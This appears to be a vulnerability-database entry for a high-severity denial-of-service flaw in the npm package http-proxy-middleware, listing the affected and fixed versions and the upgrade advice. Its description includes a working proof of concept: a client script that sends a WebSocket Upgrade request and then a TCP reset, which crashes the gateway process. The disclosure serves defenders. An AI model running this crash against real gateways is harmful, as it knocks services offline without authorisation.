Skip to main content
CVE-2026-140102VulnerabilityPublished

http-proxy-middleware: Unauthenticated remote gateway crash via an `Upgrade` request to a path outside `pathFilter`

Affects http-proxy-middlewareSource GCVE Database

0
Compare
Authoritative record:CVE-2026-140102· High 7.5

Not known to be exploited · CVSS 7.5 High : upgrade to 2.0.12 soon.

Data as of 1 Dec 2026, 19:00 UTC

CVSS 3.1 base score
7.5High
How severe the flaw is on the 0–10 CVSS scale.

Thin evidence

One scorer or none
CVSS scores by source
CNA (GitHub_M)CVSS 3.17.5
Patch
Available – fixed in 2.0.12, 3.0.11, 4.2.2
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 30 Nov 2026

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponized: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 1 Dec 2026.

What to do

Upgrade http-proxy-middleware to 2.0.12; http-proxy-middleware to 3.0.11; http-proxy-middleware to 4.2.2.

Affected software

ProductAffectedFixed in
npmhttp-proxy-middlewareAffected
  • >=0.8.0 <2.0.12
Fixed in
  • 2.0.12
npmhttp-proxy-middlewareAffected
  • >=3.0.0-beta.0 <3.0.11
Fixed in
  • 3.0.11
npmhttp-proxy-middlewareAffected
  • >=4.0.0-beta.0 <4.2.2
Fixed in
  • 4.2.2

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Proof of concept 1. run `gateway.js` ```js import http from "http"; import { createProxyMiddleware } from "http-proxy-middleware"; const neverTrigger = () => console.log("neverTrigger"); const proxy = createProxyMiddleware({ target: "http://example.com", pathFilter: "/ws", ws: true, on: { error: neverTrigger } }); const server = http.createServer((req, res) => proxy( req, res, () => res.writeHead(404).end() )); server.on("upgrade", proxy.upgrade); server.on("error", neverTrigger); server.on("clientError", neverTrigger); server.listen(5056, "127.0.0.1"); ``` 2. run `client.js` ```js import net from "net"; const socket = net.connect(5056, "127.0.0.1", () => { socket.write("GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n"); setTimeout(() => socket.resetAndDestroy(), 100); }); ``` 3. gateway process crash ``` node:events:505 throw er; // Unhandled 'error' event ^ Error: read ECONNRESET at TCP.onStreamRead (node:internal/stream_base_commons:221:20) Emitted 'error' event on Socket instance at: at emitErrorNT (node:internal/streams/destroy:170:8) at emitErrorCloseNT (node:internal/streams/destroy:129:3) at process.processTicksAndRejections (node:internal/process/task_queues:90:21) { errno: -54, code: 'ECONNRESET', syscall: 'read' } Node.js v24.22.3 ``` ### Impact A remote unauthenticated attacker can crash the whole gateway process with a single `Upgrade` request and a TCP RST, even when `on.error` and the server's `error` and `clientError` events are all handled.

References

Community reviews

Loading reviews…